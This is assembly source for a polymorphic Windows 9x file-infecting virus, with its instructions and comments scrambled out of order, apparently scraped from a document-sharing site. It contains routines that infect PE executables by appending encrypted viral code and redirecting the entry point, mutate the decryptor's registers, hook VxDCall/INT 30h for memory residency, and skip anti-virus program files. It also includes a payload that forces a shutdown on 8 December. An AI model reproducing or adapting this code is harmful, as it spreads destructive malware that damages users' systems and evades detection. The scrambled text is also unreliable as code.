[dwVirusBegin] mov ebx. [lpdwLastSection] mov ebx.File Opened and Mapped Successfully test eax. 4 not eax [dwJumpBytes]. eax End_InfectFile . eax mov .No.Append the Virus to the host mov esi. [dwDeltaOffset] [esi + lpHostFile].true location to copy to . (IMAGE_SECTION_HEADER [eax]). ebx mov [lpdwLastSection]. eax End_InfectFile .Put it in the file mov . [dwVirusBegin] mov esi.offset StartOfVirusCode .No. \ dwJumpBytes:DWORD.. [dwDeltaOffset] mov edi.IOH_AddressOfEntryPoint add eax. \ dwNewEntryRVA:DWORD. ecx mov . [dwIncSecSize] mov ecx.Get operand for jmp instruction mov ecx.No jz [dwIncFileSize].ISH_SizeOfRawData. if_szFileName.Map Host File into Memory OpenAndMapFile. eax . if_szFileName call .. ecx . \ dwIncFileSize:DWORD.True offset in file add ebx. offset ReturnToHost .ISH_Characteristics.Write New Jump Instruction in File ..EXE) mov ebx.. since its already.called once in CanFileBeInfected . eax . dwIncFileSize call .Get File Headers GetFileHeaders.ISH_SizeOfRawData [dwVirusBegin].Save Increase in Section Size mov .Check if the file can be infected.. Return Code = 0 jz mov esi. eax ..

.restore starting address of virus code .Mutate the Decryptor MutateDecryptor call ret EncryptVirus ENDP .Update the Win32VersionValue field. if_szFileName eax. [dwIOH] (IMAGE_OPTIONAL_HEADER [ebx]). ebx . -> EDI: Starting address of Virus in Memory Mapped File . ecx mov .Get New Entry RVA mov ecx. This is used as a Virus Signature (IMAGE_OPTIONAL_HEADER [ebx]). ecx add .Address of virus in file UnmapAndCloseFile.@DELTA esi .Get random encryption key .| +------------------------------------------------------------------------+ | .+----------------------------------------------------------------------------+ .+----------------------------------------------------------------------------+ . eax . 40h IF DEBUG xor al. -> None . and mutates the decryptor. making the virus Encrypted & Polymorphic .ISH_VirtualSize. al ENDIF mov ecx.IOH_AddressOfEntryPoint. [dwDeltaOffset] mov edi. and Close it mov ebx.| | | | .IOH_Win32VersionValue.StartOfVirusCode].Address of Image Optional Header mov ebx.Yes.Save starting address of virus code push edi . VIRUS_SIGNATURE mov . [ebx + lpHostFile] add edi. [dwNewEntryRVA] (IMAGE_OPTIONAL_HEADER [ebx]).mov (IMAGE_SECTION_HEADER [eax]). Registers Destroyed .| +------------------------------------------------------------------------+ | .Get Encryption Key.Update the PE Header (Image Size) .Update the Encryption Key in the decryptor mov byte ptr [edi + EncryptionKey . Description . Fix it VirtualSizeFine: . -> Encrypts the Virus Code with a random byte.| | EncryptVirus | | . LOADER_SIZE EncryptByte: xor byte ptr [edi].________________ EncryptVirus PROC . [dwVirusBegin] EncryptVirus call call xor inc .| +------------------------------------------------------------------------+ | .Encrypt the file. Arguments .call esi + GetTickCount . ENCRYPTED_SIZE add edi.All OK. Return Value: .IOH_SizeOfImage.Don't enrypt the loader !! .Get random number in EAX (AL) in al. Return Code 1 eax End_InfectFile: ret InfectFile ENDP .Don't encrypt in Debug Mode . al inc edi EncryptByte loop pop edi .al = Encryption Key . to be used for encrypting/decrypting . . al . .| | | | . -> All except EDI .Update the PE Header (Entry RVA) .Staring address of Host File .+----------------------------------------------------------------------------+ . .

esi . .No . . ecx .Yes. Return Value: . jne Not_8_December . call esi + GetLocalTime. tp_idEvent: ID of the timer .Yes.search for NULL character xor eax. -> None . jne Not_8_December .Check if Date is 8th December . lea eax. . -> DWORD sl_lpszString: Address of the string . @DELTA esi .Find the terminating NULL repne scasb not ecx .Lock System if Windows has been running for a long time .must save. ECX. . LOCAL dwDeltaOffset:DWORD. . . Description . \ . since this is a CALLBACK fn ._____________________________________________________________________________ . sl_lpszString xor ecx. . eax .ecx = -1. call PayLoad . Registers Destroyed . .**************************************************************************** . dwFileNumber:DWORD. pushad . 12 .+----------------------------------------------------------------------------+ .| | StringLength | | .DB 0C7h .. eax . stTime:SYSTEMTIME . Arguments .Not_8_December: .ST_wDay.length of string dec ecx .cmp tp_dwTime. \ . . tp_uMsg: WM_TIMER .Deliever Payload since date is 8th December . ecx ret StringLength ENDP . -> EAX: Length of the string . tp_idEvent:DWORD.No . . EDI . -> This function is called when the Time-out value for the Timer Expires.| +------------------------------------------------------------------------+ | . . search till infinity dec ecx .DB 0C8h . Arguments . . tp_uMsg:DWORD. Registers Destroyed . use F00F Bug to hang / lock System . . -> Returns the length of the string .| | | | .DB 0F0h . stTime .string whose length is required mov edi. Is Day = 8th . cmp stTime.TimerProc PROC tp_hwnd:DWORD.Is Windows Up-time > 2 hours . mov [dwDeltaOffset].return length of string mov eax. MAX_RUN_TIME . tp_dwTime:DWORD .No . -> EAX.**************************************************************************** .____________________________________ StringLength PROC sl_lpszString:DWORD . Description . -> All .End_TimerElapsed: . 8 . cmp stTime. -> tp_hwnd: Handle of the window .DB 0Fh . . Return Value: .is Month = December . . . tp_dwTimer: Value of GetTickCount() .NoLockWindows: . . . .ST_wMonth. TimerProc .| | | | .jle NoLockWindows . .

It checks the .1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN mov eax. "niw_" Error_CanFileBeInfected . (IMAGE_SECTION_HEADER [ecx]). IMAGE_FILE_DLL test Error_CanFileBeInfected . Description . File can be mov eax. 3.-) . -> EBX: Bytes by which the file size must be increased if it is infected . eax End_CanFileBeInfected je .Don't infect Winzip Self-Extractor Files. . -> This function checks if a file can be infected or not. mov ebx. 2. ret .Multiply by SECTION_ALIGN mul ecx . mov ecx.ISH_Characteristics .| +------------------------------------------------------------------------+ | . Great !!.IFH_Characteristics. edx .Map File.restore state .IOH_Win32VersionValue.OK. . 4. VIRUS_SIZE .File is already infected jz .| | CanFileBeInfected | | .INC_SEC_SIZE = [(VIRUS_SIZE . ecx .IOH_FileAlignment (IMAGE_OPTIONAL_HEADER [eax]). Return Value: .Get File Headers GetFileHeaders.Calculate Increase in Section size .Yes.| | | | .No. without increasing the File Size OpenAndMapFile.don't have this section .Add Section Alignment add eax. this function returns the size.No.We need to divide only EAX xor edx. Note that Winzip . probably not a PE file . bytes. We use the Win32VersionValue for storing our signature (IMAGE_OPTIONAL_HEADER [ebx]).1 ."_win" ? cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).Image Optional Header ebx (IMAGE_OPTIONAL_HEADER [eax]).Successfully retreived file headers . It must not be a DLL . -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check . . 0 call .and edx. File must not be infected by our virus .jnz Error_CanFileBeInfected . . in .ISH_Name.Yes jnz . following: . eax call test eax.TimerProc ENDP . infected. -> All .Save Increase in Section Size push eax .Check if last section is sharable . don't infect .mov edx. . 5. IMAGE_SCN_MEM_SHARED . popad . Registers Destroyed .| | | | . by which the file and section must be increased when the file is . -> EAX: 1 if the file can be infected. dont infect je . 1. If all the above conditions are met.___________________________________________ CanFileBeInfected PROC cfbe_szFileName:DWORD . File must be a PE .+----------------------------------------------------------------------------+ .| +------------------------------------------------------------------------+ | .IOH_SectionAlignment .Divide by SECTION_ALIGN div ecx . It must not be a Winzip Self-Extractor File . . eax End_CanFileBeInfected .The last section of this file has the name _winzip_.+----------------------------------------------------------------------------+ . .Check if file is a DLL (IMAGE_FILE_HEADER [eax]). cfbe_szFileName. since they .Self-Extrator Personal Edition Files will still be infected. Arguments . VIRUS_SIGNATURE cmp Error_CanFileBeInfected . File must be an EXE .Check if file is infected..File Opened & Mapped Successfully test eax. -> ECX: Bytes by which the last section size must be increased if it is infected .Is Section Sharable . Return with Error Code = 0 jz .Yes. infected. 0 Otherwise .

Return Code 0 xor eax.| | | | . . -> This function is called on the 8th of December. Arguments . EWX_SHUTDOWN. . Registers Destroyed .dec eax . . cfbe_szFileName call . eax .**NEW LINE . offset szNoInfectFileName call esi + CreateFileA.Get Increase in Section Size pop ecx xor eax. . @DELTA esi . NULL . and return relevant values UnmapAndCloseFile.INC_SEC_SIZE . eax.Get Increase in File Size pop ebx .PayLoad ENDP . NULL. .INC_FILE_SIZE = (INC_SEC_SIZE . FILE_ALIGN add eax. of the virus. esi add eax.1 mov eax. Description . .Divide by FILE_ALIGN div ebx .PayLoad PROC . -> All . .Save Increase in File Size push eax . GENERIC_READ. . or not.1 . NULL. VIRUS_SIZE.| +------------------------------------------------------------------------+ | . -> None.________________________ CanMachineBeInfected PROC @DELTA esi . .Add File Alignment. -> All .| | | | . -> This function is called to check if the virus should infect this machine .Multiply by FILE_ALIGN mul ebx . Arguments .1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN .| +------------------------------------------------------------------------+ | . NULL . ebx .| | CanMachineBeInfected | | . EWX_FORCE OR EWX_SHUTDOWN.Return Code 1 inc eax End_CanFileBeInfected jmp Error_CanFileBeInfected: UnmapAndCloseFile. This is used. Description . call esi + ExitWindowsEx. eax End_CanFileBeInfected: ret CanFileBeInfected ENDP . -> None.| | | | ..call ExitWindowsEx. FILE_SHARE_READ. VIRUS_SIZE . Registers Destroyed .+----------------------------------------------------------------------------+ .| | PayLoad | | .+----------------------------------------------------------------------------+ . .mov eax. Return Value: .+----------------------------------------------------------------------------+ . cfbe_szFileName call .___________ .Check if the "No Infect" file exists on the current machine mov eax. NULL .+----------------------------------------------------------------------------+ .Calculate Increase in File Size . so that the virus doesn't infect My Machine !! . -> None. It delievers the Payload .| +------------------------------------------------------------------------+ | .| | | | . . -> EAX: 0 -> machine should not be infected. \ OPEN_EXISTING. ret . else it can be infected .Close the file. Return Value: .| +------------------------------------------------------------------------+ | .

Return Region of Shared Memory Allocated Error_RelocateVirus: xor eax. eax End_CanMachineBeInfected: ret CanMachineBeInfected ENDP .| | InstallHookProcedure | | .| | | | . offset StartOfVirusCode edi.| +------------------------------------------------------------------------+ | .| +------------------------------------------------------------------------+ | . Return Value: . VIRUS_SIZE movsb eax.| | | | . so machine can be infected . Registers Destroyed . -> EAX: Base address of Memory where the Virus was copied.Save Address of Region [dwMemoryRegion]. INVALID_HANDLE_VALUE Error_RelocateVirus .Copy Virus mov add mov mov rep mov jmp to Newly Allocate Memory esi.Return 0.| | | | . PageReserve. 0Ch mov esi.No je . -> All .cmp je eax. Description .| | RelocateVirus | | . . -> This function allocates memory in the Shared area and copies the Virus .Start Copying From Here . or NULL if an . PD_ZEROINIT.Shared memory Allocated? cmp eax. \ PC_WRITEABLE OR PC_USER . .| | | | .+----------------------------------------------------------------------------+ . VIRUS_SIZE_PAGES.return 0. INVALID_HANDLE_VALUE End_CanMachineBeInfected . eax . so that machine is not infected xor eax. eax mov . [dwMemoryRegion] End_RelocateVirus . -> None. since its probably my machine call esi + CloseHandle. dwDeltaOffset esi._________________ RelocateVirus PROC dwDeltaOffset:DWORD.Close the file. PageCommit.File Opened ? . eax.eax Error_RelocateVirus je .No. 0.No jb .+----------------------------------------------------------------------------+ . . . VIRUS_SIZE_PAGES. SHARED_MEMORY Error_RelocateVirus .| +------------------------------------------------------------------------+ | . [dwDeltaOffset] call esi + VxDCall. Arguments .+----------------------------------------------------------------------------+ . PR_SHARED.Commit Shared Memory . esi . \ PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED or eax. to that area.Memory Allocate Successfully? cmp eax.Size to Copy . .Copy Here . \ LOCAL dwMemoryRegion:DWORD @DELTA mov esi [dwDeltaOffset]. .Page Number shr eax. since an error occured End_RelocateVirus: ret RelocateVirus ENDP . eax . [dwMemoryRegion] ecx. error occured. and return 0.Reserve Shared Memory @DELTA esi call esi + VxDCall.

-> This function installs a hook procedure to monitor VxDCalls .Save Current INT 30h Address cli lodsw lodsd mov esi. -> None.8B 44 24 04 MOV EAX. offset VxDCall . offset OldInt30 [eax]. so that it points to our .code..Modify the JMP instruction.| | VxDInt30Handler | | .Cannot afford to be interrupted .| +------------------------------------------------------------------------+ | . eax mov edi. Before that.Save 6 bytes. Registers Destroyed . 1DFFh TraceVxDCall_AddressFound .First byte of CALL instruction? cmp al.To Here .Modify JMP instruction mov . XXXXXXXX .| | | | .Install New INT 30h Handler . . FWORD .address pointed to by the CALL.Address of OldInt30 add ebx. 2Eh TraceVxDCall_NextByte . Arguments .First byte of VxDCall function mov esi. 50 TraceVxDCall: . .Scan upto 50 bytes mov ecx.No. . stosd mov ax. DWORD PTR [ESP+04h] . offset OldInt30Address mov ebx.| +------------------------------------------------------------------------+ | . [dwDeltaOffset] add edi.2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX] . Description . eax mov eax. So.and 2 bytes (since FWORD instruction) stosw .. Return Value: .| | | | .+----------------------------------------------------------------------------+ . -> All .call the old INT 30h . [dwDeltaOffset] add eax.Trace through VxDCall. offset VxDInt30Handler . i.Skip over FF and 1D opcodes of CALL .Get current byte lodsb .The disassembly of the VxDCall function looks like this: .8F 04 24 POP DWORD PTR [ESP] . we should save the current address.Continue Checking.Yes je TraceVxDCall_NextByte: TraceVxDCall .Copy This Address .Handler installed.+----------------------------------------------------------------------------+ ..e.Save 4 bytes . 6 rep movsb . esi . ebx . -> None.Pointer to INT 30h instruction..Pointer to INT 30h instruction mov edi. so that it points to the address of OldInt30 mov eax.Bytes to modify add eax.VxDCall to jump to Ring 0.. loop TraceVxDCall_AddressFound: . esi . so that we can . cs . until we come to the XXXXXXXX bytes add esi. XXXXXX. we must modify the .________________________ InstallHookProcedure PROC dwDeltaOffset:DWORD LOCAL @DELTA mov esi [dwDeltaOffset]. .Copy Bytes From Here .Next two bytes of instruction? cmp word ptr [esi]. [esi] .| +------------------------------------------------------------------------+ | . .The last instuction points to an INT 30h instruction that is used by . check next byte jne . . . offset OldInt30 mov ecx. esi . to hook VxDCall's. enable interrupts sti ret InstallHookProcedure ENDP .

JMP FWORD PTR CS:[XXXXXXXX] DB 2Eh.Make sure that @OFFSET cmp je we don't process our own calls ebp.None.Get 21h Service . Return Value: .| | | | . TRUE push call pop or jz . -> This is the hook procedure that monitors VxDCalls (INT 30h) . DB 4 DUP (0) . . RESIDENCY_SUCCESS Original_VxDInt30Handler jmp Extended_File_Open: .dword ptr [esp+0000002Ch] ax. VWIN32_Int21Dispatch Exit_VxDInt30Handler jne mov cmp je cmp je jmp eax.Go to original handler File_Not_Executable: . since this is an interrupt handler .Do Stuff call esi IsFilenameOK. Arguments .Finished Processing @OFFSET eax. VxDCall_Busy mov byte ptr [eax].address of OldInt30 in memory. . go to default handler .| +------------------------------------------------------------------------+ | .Yes.| | IsFilenameOK | | .The following bytes will be translated to JMP FWORD PTR CS:[00000000] . LFN_OPEN_FILE_EXTENDED Extended_File_Open Exit_VxDInt30Handler Residency_Check: . 2Dh . VxDCall_Busy byte ptr [ebp]. esi esi eax.ret .| +------------------------------------------------------------------------+ | . . RESIDENCY_CHECK_SERVICE Residency_Check ax. -> None.VWIN32 VxD int 21h? . since we're jumping out VxDInt30Handler ENDP . this function returns a .Check for Residency? .Restore stack and other regs .Save all. TRUE Exit_VxDInt30Handler . before transfering control Original_VxDInt30Handler: .Not required. prevent re-entrancy . -> None. eax File_Not_Executable OutputFileName .Prevent Re-entrancy @OFFSET eax. . Registers Destroyed . -> This function checks if the filename is OK for infection or not. filename meets any of the folling criteria. .+----------------------------------------------------------------------------+ .Yes .LFN Open Extended . failure. Description . Description .+----------------------------------------------------------------------------+ . FALSE Exit_VxDInt30Handler: popad .Restore. -> All . .The following 4 bytes will be replaced by the OldInt30Address: .___________________ VxDInt30Handler PROC pushad .Process only INT 21h Services cmp eax.Virus Residency Check popad mov esi. 0FFh.| | | | .Tell caller that we're resident .Is Virus busy . VxDCall_Busy mov byte ptr [eax]..+----------------------------------------------------------------------------+ . If the .

* The filename must NOT consist of any of the following pairs of .Store extention in buffer . . "-F" Error_IsFilenameOk je cmp word ptr [esi].. "ZYX. characters.3]." . -> All . so the minimum length of such .Is Extention ".. -> EAX: 1 if the filename is OK. -> ife_szFilename: Address of the buffer where the filename is stored .File Extention (including ". for SCAN (McAfee). Executables will be Infected !!!" cmp dword ptr [edx .Check Anti-Virus Program Files dec ecx CheckAntiVirusFiles: cmp word ptr [esi].Since we're checking 2 char. eax mov . "F-".Is File name less than 5 characters (. we are infecting only ."A" NextCharacter: ToUpperCase loop pop ecx . This is done to prevent .XYZ" (Debug Only) ELSE ERR . ife_szFilename StringLength. The . "va" Error_IsFilenameOk je cmp word ptr [esi].Get File Extention mov eax.3 characters to be converted mov ecx.Get Address of Extention Buffer . 3 ToUpperCase: . "a" NextCharacter jl cmp byte ptr [edx]. TBAV (ThunderByte) .Check Filename Length mov esi.Comment to assemble "Release Mode.Is Extention ". "NA" Error_IsFilenameOk je cmp word ptr [esi]. for NAV (Norton)."AV". for F-PROT .XYZ" for DEBUG mode). a file is 5 characters . . "a" . .Yes. "na" Error_IsFilenameOk je inc esi CheckAntiVirusFiles loop xor inc jmp eax.Don't have to check ". infection of Anti-Virus program files.Check All Error_IsFilenameOk: xor eax.3]. last char not reqd . * Filename is less than 5 characters. comparison is case insensitive .Get length of filename .") . because . Extention doesn't match jne . [esi + eax .Check the Extention IF DEBUG cmp dword ptr [edx . Return Value: . Don't infect ." for upper case inc edx cmp byte ptr [edx].EXE files. "AN".EXE) . "EXE. Registers Destroyed . viz.Convert to upper case sub byte ptr [edx].No." . esi call cmp eax. eax . This is checked. 4 Error_IsFilenameOk jl push eax . CLEAN . 0 otherwise . * The filename must end in ". szExtention [edx]."AN". "z" NextCharacter jg . Arguments .EXE" (or ". .Convert to upper case .Next Character .XYZ" (Release Only) ENDIF Error_IsFilenameOk .Get Length of Filename .Save Length of Filename . eax eax End_IsFilenameOk ."F-".___________________________________ IsFilenameOK PROC ife_szFilename szExtention[4]:BYTE LOCAL . "AV".4] lea edx. "VA" Error_IsFilenameOk je cmp word ptr [esi].

esi .| | | | .Get Length push mov mov call mov pop . ebx. eax End_OutputFileName: ret OutputFileName ENDP .restore handle .+----------------------------------------------------------------------------+ OutputFileName PROC dwFilename:DWORD. Description . [esp .Restore Handle .Create File to write into mov edx. \ LOCAL dwDeltaOffset:DWORD mov @DELTA mov [dwFilename]. FILE_SHARE_READ. 0BFF77ADFh call esi.+----------------------------------------------------------------------------+ . edx. else returns . 0BFF7713Fh call esi. Return Value: . -> This function returns 1 if the virus is active in memory. OPEN_EXISTING.| +------------------------------------------------------------------------+ | .| +------------------------------------------------------------------------+ | . edx. . 0 otherwise .Save Handle .| | IsVirusActive | | . 0 eax eax .WriteFile . -> All . eax eax File eax eax ecx.Create Buffer.length of filename .Restore Handle .| | | | . eax. 0BFF7E064h call esi. INVALID_HANDLE_VALUE End_OutputFileName je .Close File mov esi. Registers Destroyed ._________________ IsVirusActive PROC .+----------------------------------------------------------------------------+ . 0 cmp eax. offset szOutputFile mov esi.| | | | . GENERIC_READ OR GENERIC_WRITE. 0.Save Handle . This function also saves the address of the VxDCall API. \ 0.+----------------------------------------------------------------------------+ . . esi esi [dwDeltaOffset]. -> None. [dwFilename] esi. FILE_ATTRIBUTE_NORMAL. ecx. 0.0BFF76FD5h esi. 0BFF773ADh esi. .| | | | .End_IsFilenameOk: ret IsFilenameOK ENDP . Arguments . .Go to end of file push eax mov esi. . 2 pop eax . eax.SetFilePointer .| +------------------------------------------------------------------------+ | . [dwDeltaOffset] add edx.| | | | .Remove Buffer .Write Into push push lea mov mov call pop pop of FileName eax edx.| +------------------------------------------------------------------------+ | .lstrlen . edx ebx. used for number of bytes written . 0.save handle . [dwFilename] esi.4] edx. -> EAX: 1 if the Virus is Resident.

SIZE IMAGE_FILE_HEADER [dwIOH].| +------------------------------------------------------------------------+ | .Check for PE Signature add esi.Size of All Section Headers . 0 eax. (IMAGE_FILE_HEADER [esi]).mov ebx.Save Image File Header . SIZE IMAGE_SECTION_HEADER .No jne .RVA Image . -> EAX: Address of the Image File Header. or 0 if the function failed .+----------------------------------------------------------------------------+ . \ mov cmp jne esi.Is EXE/DLL Present ? . Image Optional Header. Return 0 .| | | | . \ LOCAL dwIED:DWORD. The function fails if the specified file is . -> EDX: Address of the Image Export Directory .No .IDH_e_lfanew .call test jz GetAddressOfKernelAPI.IOH_DataDirectory(0).Image Optional Header . eax. esi .Yes. . "ZM" Error_GetFileHeaders . esi mov . -> ECX: Address of the Last Sections Header .Save Address . -> This function retreives the address of various file headers. Return Value: . [dwIOH] movzx eax.IFH_SizeOfOptionalHeader . Last Section Header. VxDCall [ebx]. (IMAGE_OPTIONAL_HEADER [esi]). (IMAGE_FILE_HEADER [esi]). [gfh_dwFileBase] mov dword ptr [dwIED]. Registers Destroyed . return 0 jne . SIZE IMAGE_SECTION_HEADER .No.Size of All Section Headers . Arguments .Get Image File header pop esi movzx ecx. .Image File Header .Assume not resident xor eax.| | | | .Save . viz. return 1 inc eax End_IsVirusActive: ret IsVirusActive ENDP .IDD_VirtualAddress Export Directory add esi. -> EBX: Address of the Image Optional Header .Get Address of Last Section Header . "EP" Error_GetFileHeaders .+----------------------------------------------------------------------------+ ..Is Virus Resident cmp esi. eax .Address of Last Section Header add ecx. required. eax mov . [gfh_dwFileBase] word ptr [esi].Get Image Optional Header add esi. . (IMAGE_DOS_HEADER [esi]). -> All . Description . eax .1 dec eax imul eax._______________________________________ GetFileHeaders PROC gfh_dwFileBase:DWORD dwIOH:DWORD. -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are . IMAGE_SIZEOF_NT_SIGNATURE push esi add esi. . eax End_IsVirusActive .Get the Address of the Image Export Directory mov esi.Save address of VxDCall API @OFFSET ebx.Found Address ? . Image Export Directory. .No. not a Portable Executable (PE) file .mul ebx . . Image File Header.| +------------------------------------------------------------------------+ | .Check if Virus is Already Resident @CALL_INT21h RESIDENCY_CHECK_SERVICE .IFH_NumberOfSections .| | GetFileHeaders | | .PE File ? cmp dword ptr [esi]. RESIDENCY_SUCCESS End_IsVirusActive .Number of Sections .Address of First Section Header add ecx.Get Address Of VxDCall API .

" byte ptr [<register1>].Register 2 add bl. to make it . ECX.| | | | . Description . al GetAnotherRegister: RandomRegister .| | | | . Return Value: .Register 1 add bl.| | | | .___________________ MutateDecryptor PROC . 0C0h . ah mov byte ptr [edi + 18].Change "xor mov bl. al mov byte ptr [edi + 17]. -> None ..Save It mov ah. . The registers EAX. Description . EBX. bl . First the opcode is calculated using register EAX. ah mov byte ptr [edi + 9]. esi mov ebx. bl <register1>" <register1>.| | MutateDecryptor | | . . Arguments . al mov byte ptr [edi + 7].Change "dec mov bl. Return 0 End_GetFileHeaders: ret GetFileHeaders ENDP .| +------------------------------------------------------------------------+ | .Get Second Register Number call .Is it the same as First cmp ah. . 48h .Register 1 add bl. bl . Adding this to 58h. -> This function modifies the registers used in the decryptor. al mov byte ptr [edi + 5]. and the . we add . al GetAnotherRegister . 58h .| | | | . bl ." <register2>. polymorphic.Change "pop mov bl. -> EDI: Start of decrypor that need to be mutated . . the opcode for .| +------------------------------------------------------------------------+ | .Change "inc mov bl. the number of the register.+----------------------------------------------------------------------------+ . .Error. -> AX. used as random registers. al mov byte ptr [edi + 15]. bl .g. eax . e. To generate the opcodes for the other registers.Get Two Random Registers RandomRegister .Return Header Values mov eax. ESI and EDI are .. one as an index.Register 1 add bl. ." <register1>" <register2>" ret MutateDecryptor ENDP . we get 5Ah. other as a counter. so that it uses the new registers .. [dwIED] jmp End_GetFileHeaders . POP EAX is 58h... EDX.Change "mov mov bl. 30h .Get First Register Number call . The decrypor uses two registers. .Change "add mov bl. The number for EDX is 2. BL . [dwIOH] mov edx.Yes.+----------------------------------------------------------------------------+ .Register 2 add bl.. 0B8h .+----------------------------------------------------------------------------+ . get another one je . 40h .| +------------------------------------------------------------------------+ | . which is the opcode for POP EDX .Register 1 add bl.| | RandomRegister | | . Registers Destroyed .+----------------------------------------------------------------------------+ .| +------------------------------------------------------------------------+ | . bl .Image File Header Error_GetFileHeaders: xor eax. . The opcodes are generated in the following way..Modify Decryptor.

. Registers Destroyed . 2.| | | | . ECX=1..Maximum value 7 and al. 3. 3. 1.. ESI=6.+----------------------------------------------------------------------------+ . -> AL .offset EncryptedVirusCode EQU LOADER_SIZE VIRUS_SIZE . EDX=2. 6 or 7) . Return Value: . . 2.or 5 cmp al. EDI=7 .| +------------------------------------------------------------------------+ | . Arguments .| +------------------------------------------------------------------------+ | . Each of .Should not be 4. 4 NewRandom je .. 6. -> None. EBX=3.| | End Of Virus Code | | . . .ENCRYPTED_SIZE EQU VIRUS_SIZE_PAGES (VIRUS_SIZE / PAGE_SIZE) + 1 EQU END StartOfVirusCode .| | | | .+----------------------------------------------------------------------------+ VIRUS_SIZE $ . EAX=0.offset StartOfVirusCode EQU ENCRYPTED_SIZE $ . -> This function returns a random number from 0. 1. and 7. cmp al. these values is used to identify a register. .00000111b ..__________________ RandomRegister PROC NewRandom: .Get Random Number in al. 5 NewRandom je ret RandomRegister ENDP . -> AL: Random number (0. 40h .. .

Sign up to vote on this title
UsefulNot useful